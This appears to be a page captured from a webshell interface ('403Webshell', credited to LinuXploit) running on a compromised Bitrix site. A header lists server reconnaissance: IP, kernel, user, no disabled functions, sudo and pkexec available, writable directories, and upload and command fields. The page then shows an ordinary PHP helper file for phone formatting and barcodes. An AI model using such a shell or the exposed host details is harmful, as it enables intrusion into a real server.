403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lpost.delivery/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lpost.delivery/lib/tools.php
<?
namespace Lpost\Delivery;
use \Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);
 
class Tools
{
    public static function clearPhone($phone)
    {
        $phone = preg_replace('/[^0-9]/', '', $phone);
        $phone = mb_substr($phone, -10, 10);
        return $phone;
    }

    public static function formattingForApiOrderPhone($phone): string
    {
        return self::clearPhone($phone);
    }

    public static function formattingForOrderPhone($value): string
    {
        return "7" . self::clearPhone($value);
    }

    public static function isValidPhone(string $phone): bool
    {
        $phoneFormat = preg_replace('/[^0-9]/', '', $phone);
        if (strlen($phoneFormat) < 10 || strlen($phoneFormat) > 11) {
            return false;
        }

        return true;
    }

    public static function getBarcode($orderId)
    {
        $md5code = hexdec(md5($orderId));
        $code = substr(number_format($md5code,13,'',''),0,12);

        $_sum1 = 0;
        for($i = 0; $i < strlen($code); $i++)
        {
            if(($i + 1) % 2 == 0)
            {
                $_sum1 += $code[$i];
            }
        }
        $_sum1 *= 3;

        $_sum2 = 0;
        for($i = 0; $i < strlen($code); $i++)
        {
            if(($i + 1) % 2 == 1)
            {
                $_sum2 += $code[$i];
            }
        }
        $_sum3 = strval($_sum1 + $_sum2);
        $_sum4 = strval(10 - $_sum3[strlen($_sum3) - 1]);

        if(strlen($_sum4) >= 2)
        {
            $_sum4 = $_sum4[strlen($_sum4) - 1];
        }

        return $code . $_sum4;
    }

    public static function wordEndings(
        $n,
        $thing1,
        $thing2,
        $thing5,
        $from = null
    ) {

        $n1 = $n % 100;
        $n2 = $n % 10;
        
        if($from){
            
            $word = $from.' ';
            if ($n === 0 || $n2 >= 2){
                $result = $thing5;
            }
            else
                $result = $thing2;
        }
        else{
            
            $word = '';

            if ($n === 0){
                $result = $thing5;
            }
            elseif(($n1 >= 11) && ($n1 <= 19)){
                $result = $thing5;
            }
            elseif(($n2 >= 2) && ($n2 <= 4)){
                $result = $thing2;
            }
            elseif($n2 === 1){
                $result = $thing1;
            }
            else {
                $result = $thing5;
            }
        }

        $word .= $n . " ";
        return $word . $result;


    }
    
    /**
     * @param $error
     * @return array|string convert info if site in cp1251
     */
    public static function convertInfo($text)
    {
        if (defined('LANG_CHARSET') && LANG_CHARSET != 'UTF-8') {
            
            global $APPLICATION;
            if (is_array($text)) {
                
                $text = $APPLICATION->ConvertCharsetArray($text, 'UTF-8', 'Windows-1251');
            }
            else {
                $text = $APPLICATION->ConvertCharset($text, 'UTF-8', 'Windows-1251');
            }
        }
        
        return $text;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit